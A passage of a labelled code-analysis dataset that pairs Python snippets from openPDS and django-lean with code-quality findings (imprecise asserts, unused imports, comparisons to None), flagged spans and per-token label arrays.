8, "end_line": 75, "end_column": 41 }, { "span": "self.assertTrue('tt3' in raw_tt)", "start_line": 76, "start_column": 8, "end_line": 76, "end_column": 40 }, { "span": "self.assertTrue('3' in raw_tt['tt3'])", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 45 }, { "span": "self.assertTrue('345' not in self.tt)", "start_line": 79, "start_column": 8, "end_line": 79, "end_column": 45 }, { "span": "self.assertTrue('tt3' in raw_tt)", "start_line": 80, "start_column": 8, "end_line": 80, "end_column": 40 }, { "span": "self.assertTrue('3' not in raw_tt['tt3'])", "start_line": 81, "start_column": 8, "end_line": 81, "end_column": 49 }, { "span": "self.assertTrue('7' in self.tt)", "start_line": 83, "start_column": 8, "end_line": 83, "end_column": 39 }, { "span": "self.assertTrue('tt1' in raw_tt)", "start_line": 84, "start_column": 8, "end_line": 84, "end_column": 40 }, { "span": "self.assertTrue('7' not in self.tt)", "start_line": 86, "start_column": 8, "end_line": 86, "end_column": 43 }, { "span": "self.assertTrue('tt1' not in raw_tt)", "start_line": 87, "start_column": 8, "end_line": 87, "end_column": 44 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "retrieve", "\\u", "blobs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "name_", "in_", "[_", "'", "345", "'_", ",_", "'", "7", "'_", ",_", "'", "2", "2", "'_", ",_", "'", "549", "'_", ",_", "'", "0", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "name_", "not_", "in_", "self_", "._", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tt_", "._", "new", "\\u", "blob_", "(_", "name_", ")_", "._", "data_", "=_", "'", "asd", "f", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "name_", "in_", "self_", "._", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "tt_", "[_", "name_", "]_", "._", "data_", ",_", "'", "asd", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "name_", "not_", "in_", "self_", "._", "eg_", "._", "root_", "[_", "'", "tt", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "retrieve", "\\u", "trees_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "name_", "in_", "[_", "'", "24", "'_", ",_", "'", "9", "'_", ",_", "'", "873", "'_", ",_", "'", "2", "2", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "name_", "not_", "in_", "self_", "._", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tt_", "._", "new", "\\u", "tree_", "(_", "name_", ")_", "._", "new", "\\u", "blob_", "(_", "'", "c", "'_", ")_", "._", "data_", "=_", "'", "qwe", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "name_", "in_", "self_", "._", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "tt_", "[_", "name_", "]_", "[_", "'", "c", "'_", "]_", "._", "data_", ",_", "'", "qwe", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "name_", "not_", "in_", "self_", "._", "eg_", "._", "root_", "[_", "'", "tt", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "remove_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raw", "\\u", "tt_", "=_", "self_", "._", "eg_", "._", "root_", "[_", "'", "tt", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "[_", "'", "345", "'_", ",_", "'", "7", "'_", ",_", "'", "2", "2", "'_", ",_", "'", "549", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tt_", "._", "new", "\\u", "blob_", "(_", "name_", ")_", "._", "data_", "=_", "'", "asd", "f", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "345", "'_", "in_", "self_", "._", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "tt", "3", "'_", "in_", "raw", "\\u", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "3", "'_", "in_", "raw", "\\u", "tt_", "[_", "'", "tt", "3", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "._", "tt_", "[_", "'", "345", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "345", "'_", "not_", "in_", "self_", "._", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "tt", "3", "'_", "in_", "raw", "\\u", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "3", "'_", "not_", "in_", "raw", "\\u", "tt_", "[_", "'", "tt", "3", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "7", "'_", "in_", "self_", "._", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "tt", "1", "'_", "in_", "raw", "\\u", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "._", "tt_", "[_", "'", "7", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "7", "'_", "not_", "in_", "self_", "._", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "tt", "1", "'_", "not_", "in_", "raw", "\\u", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Key", "Error_", ",_", "lambda_", ":_", "self_", "._", "tt_", "[_", "'", "345", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Key", "Error_", ",_", "lambda_", ":_", "self_", "._", "tt_", "[_", "'", "7", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "tt_", "[_", "'", "2", "2", "'_", "]_", "._", "data_", ",_", "'", "asd", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "tt_", "[_", "'", "549", "'_", "]_", "._", "data_", ",_", "'", "asd", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
HumanDynamics/openPDS/openpds/authorization.py
[ { "content": "from tastypie.authorization import Authorization\nfrom openpds.authentication import OAuth2Authentication\nfrom openpds.core.models import Profile, AuditEntry\n\nimport settings\nimport pdb\nimport traceback\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class PDSAuthorization(Authorization):\n audit_enabled = True\n scope = \"\"\n requester_uuid = \"\"\n \n\n\n\n \n # Optional but useful for advanced limiting, such as per user.\n # def apply_limits(self, request, object_list):\n # if request and hasattr(request, 'user'):\n # return object_list.filter(author__username=request.user.username)\n #\n # return object_list.none()", "metadata": "root.PDSAuthorization", "header": "['module', '___EOS___']", "index": 8 }, { "content": " def requester(self):\n# print self.requester_uuid\n return self.requester_uuid", "metadata": "root.PDSAuthorization.requester", "header": "['class', 'PDSAuthorization', '(', 'Authorization', ')', ':', '___EOS___']", "index": 13 }, { "content": " def trustWrapper(self, datastore_owner):\n print \"checking trust wrapper\"\n #ds_owner_profile = Profile.objects.get(uuid = datastore_owner_uuid)\n #print datastore_owner.sharinglevel_owner.get(isselected = True)", "metadata": "root.PDSAuthorization.trustWrapper", "header": "['class', 'PDSAuthorization', '(', 'Authorization', ')', ':', '___EOS___']", "index": 17 }, { "content": " def is_authorized(self, request, object=None):\n# pdb.set_trace()\n authenticator = OAuth2Authentication(self.scope)\n if \"datastore_owner__uuid\" in request.REQUEST:\n authorized = True\n token = request.REQUEST[\"bearer_token\"] if \"bearer_token\" in request.REQUEST else request.META[\"HTTP_BEARER_TOKEN\"]\n # Result will be the uuid of the requesting party\n \n # Note: the trustwrapper must be run regardless of if auditting is enabled on this call or not\n \n datastore_owner_uuid = request.REQUEST[\"datastore_owner__uuid\"]\n datastore_owner, ds_owner_created = Profile.objects.get_or_create(uuid = datastore_owner_uuid)\n self.requester_uuid = authenticator.get_userinfo_from_token(token, self.scope)\n\n if self.requester_uuid is False or self.requester_uuid is None or len(self.requester_uuid) == 0:\n self.requester_uuid = \"not-specified\"\n authorized = False\n\n self.trustWrapper(datastore_owner)\n \n try:\n if (self.audit_enabled):\n #pdb.set_trace()\n audit_entry = AuditEntry(token = token)\n audit_entry.method = request.method\n audit_entry.scope = self.scope\n audit_entry.purpose = request.REQUEST[\"purpose\"] if \"purpose\" in request.REQUEST else \"\"\n audit_entry.system_entity_toggle = request.REQUEST[\"system_entity\"] if \"system_entity\" in request.REQUEST else False\n # NOTE: datastore_owner and requester are required\n # if they're not available, the KeyError exception should raise and terminate the request\n audit_entry.datastore_owner = datastore_owner\n audit_entry.requester, created = Profile.objects.get_or_create(uuid = self.requester_uuid)\n audit_entry.script = request.path\n audit_entry.save()\n except Exception as e:\n print e\n authorized = False\n\n return authorized\n\n return False", "metadata": "root.PDSAuthorization.is_authorized", "header": "['class', 'PDSAuthorization', '(', 'Authorization', ')', ':', '___EOS___']", "index": 22 }, { "content": " def __init__(self, scope, audit_enabled = True):\n #pdb.set_trace()\n self.scope = scope\n self.audit_enabled = audit_enabled", "metadata": "root.PDSAuthorization.__init__", "header": "['class', 'PDSAuthorization', '(', 'Authorization', ')', ':', '___EOS___']", "index": 64 } ]
[ { "span": "import settings", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 15 }, { "span": "import pdb", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 10 }, { "span": "import traceback", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 16 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "tast", "ypi", "e_", "._", "authorization_", "import_", "Authorization_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openp", "ds_", "._", "authentication_", "import_", "OA", "uth", "2", "Authentication_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openp", "ds_", "._", "core_", "._", "models_", "import_", "Profile_", ",_", "Audi", "t", "Entry_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pdb_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "PD", "SA", "uthor", "ization_", "(_", "Authorization_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "audit", "\\u", "enabled_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scope_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "requester", "\\u", "uuid_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optio", "nal", " ", "but", " ", "usef", "ul", " ", "for", " ", "advanced", " ", "limit", "ing", ",", " ", "suc", "h", " ", "as", " ", "per", " ", "user", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "appl", "y", "\\u", "limit", "s", "(", "self", ",", " ", "request", ",", " ", "object\\u", "list", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "request", " ", "and", " ", "has", "attr", "(", "request", ",", " ", "'", "user", "')", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "return", " ", "object\\u", "list", ".", "filter", "(", "author", "\\u\\u", "user", "name", "=", "request", ".", "user", ".", "user", "name", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "return", " ", "object\\u", "list", ".", "none", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "PD", "SA", "uthor", "ization_", "(_", "Authorization_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "requester_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "self", ".", "requester", "\\u", "uuid_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "requester", "\\u", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "SA", "uthor", "ization_", "(_", "Authorization_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "trust", "Wrapper_", "(_", "self_", ",_", "datast", "ore", "\\u", "owner_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "checking", " ", "trust", " ", "wrapp", "er", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "ds", "\\u", "owner", "\\u", "profile", " ", "=", " ", "Profil", "e", ".", "object", "s", ".", "get", "(", "uuid", " ", "=", " ", "datast", "ore", "\\u", "owner", "\\u", "uuid", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "datast", "ore", "\\u", "owner", ".", "shar", "ingl", "evel", "\\u", "owner", ".", "get", "(", "isse", "lect", "ed", " ", "=", " ", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "PD", "SA", "uthor", "ization_", "(_", "Authorization_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "authorized_", "(_", "self_", ",_", "request_", ",_", "object_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "pdb", ".", "set\\u", "trace", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "authenticator", "_", "=_", "OA", "uth", "2", "Authentication_", "(_", "self_", "._", "scope_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"", "datast", "ore", "\\u", "owner", "\\u\\u", "uuid", "\"_", "in_", "request_", "._", "REQUEST_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "authorized_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "token_", "=_", "request_", "._", "REQUEST_", "[_", "\"", "bear", "er", "\\u", "token", "\"_", "]_", "if_", "\"", "bear", "er", "\\u", "token", "\"_", "in_", "request_", "._", "REQUEST_", "else_", "request_", "._", "META_", "[_", "\"", "HTTP", "\\u", "BEA", "RER", "\\u", "TOKEN", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Result", " ", "will", " ", "be", " ", "the", " ", "uuid", " ", "of", " ", "the", " ", "request", "ing", " ", "party_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", ":", " ", "the", " ", "trust", "wrapp", "er", " ", "must", " ", "be", " ", "run", " ", "rega", "rd", "less", " ", "of", " ", "if", " ", "audit", "ting", " ", "is", " ", "enable", "d", " ", "on", " ", "this", " ", "call", " ", "or", " ", "not_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datast", "ore", "\\u", "owner", "\\u", "uuid_", "=_", "request_", "._", "REQUEST_", "[_", "\"", "datast", "ore", "\\u", "owner", "\\u\\u", "uuid", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datast", "ore", "\\u", "owner_", ",_", "ds", "\\u", "owner", "\\u", "created_", "=_", "Profile_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "uuid_", "=_", "datast", "ore", "\\u", "owner", "\\u", "uuid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "requester", "\\u", "uuid_", "=_", "authenticator", "_", "._", "get", "\\u", "userin", "fo", "\\u", "from", "\\u", "token_", "(_", "token_", ",_", "self_", "._", "scope_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "requester", "\\u", "uuid_", "is_", "False_", "or_", "self_", "._", "requester", "\\u", "uuid_", "is_", "None_", "or_", "len_", "(_", "self_", "._", "requester", "\\u", "uuid_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "requester", "\\u", "uuid_", "=_", "\"", "not", "-", "specified", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "authorized_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "trust", "Wrapper_", "(_", "datast", "ore", "\\u", "owner_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "audit", "\\u", "enabled_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "pdb", ".", "set\\u", "trace", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "audit", "\\u", "entry_", "=_", "Audi", "t", "Entry_", "(_", "token_", "=_", "token_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit", "\\u", "entry_", "._", "method_", "=_", "request_", "._", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit", "\\u", "entry_", "._", "scope_", "=_", "self_", "._", "scope_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit", "\\u", "entry_", "._", "purpose", "_", "=_", "request_", "._", "REQUEST_", "[_", "\"", "purpose", "\"_", "]_", "if_", "\"", "purpose", "\"_", "in_", "request_", "._", "REQUEST_", "else_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit", "\\u", "entry_", "._", "system", "\\u", "entity", "\\u", "toggle_", "=_", "request_", "._", "REQUEST_", "[_", "\"", "system", "\\u", "entity", "\"_", "]_", "if_", "\"", "system", "\\u", "entity", "\"_", "in_", "request_", "._", "REQUEST_", "else_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "datast", "ore", "\\u", "owner", " ", "and", " ", "requester", " ", "are", " ", "required_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "the", "y", "'", "re", " ", "not", " ", "avail", "able", ",", " ", "the", " ", "Key", "Error", " ", "exception", " ", "shou", "ld", " ", "raise", " ", "and", " ", "terminate", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "audit", "\\u", "entry_", "._", "datast", "ore", "\\u", "owner_", "=_", "datast", "ore", "\\u", "owner_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit", "\\u", "entry_", "._", "requester_", ",_", "created_", "=_", "Profile_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "uuid_", "=_", "self_", "._", "requester", "\\u", "uuid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit", "\\u", "entry_", "._", "script_", "=_", "request_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit", "\\u", "entry_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "authorized_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "authorized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "SA", "uthor", "ization_", "(_", "Authorization_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "scope_", ",_", "audit", "\\u", "enabled_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "pdb", ".", "set\\u", "trace", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "scope_", "=_", "scope_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "audit", "\\u", "enabled_", "=_", "audit",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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
e-loue/django-lean/django_lean/experiments/tests/utils.py
[ { "content": " def __init__(self, username=None, anonymous_visitor=None,\n verified_human=True):\n if anonymous_visitor:\n self.anonymous_id = anonymous_visitor.id\n else:\n self.anonymous_id = None\n \n if not username == None:\n self.user, created = User.objects.get_or_create(\n username=username, email=\"%[email protected]\" % username)\n else:\n self.user = None\n \n self.verified_human = verified_human\n self.session = {}\n self.temporary_enrollments = {}", "metadata": "root.TestUser.__init__", "header": "['class', 'TestUser', '(', 'object', ')', ':', '___EOS___']", "index": 54 }, { "content": " def is_anonymous(self):\n return self.user == None", "metadata": "root.TestUser.is_anonymous", "header": "['class', 'TestUser', '(', 'object', ')', ':', '___EOS___']", "index": 71 } ]
[ { "span": "username == None:", "start_line": 61, "start_column": 15, "end_line": 61, "end_column": 31 }, { "span": "self.user == None", "start_line": 72, "start_column": 15, "end_line": 72, "end_column": 32 } ]
[]
1
true
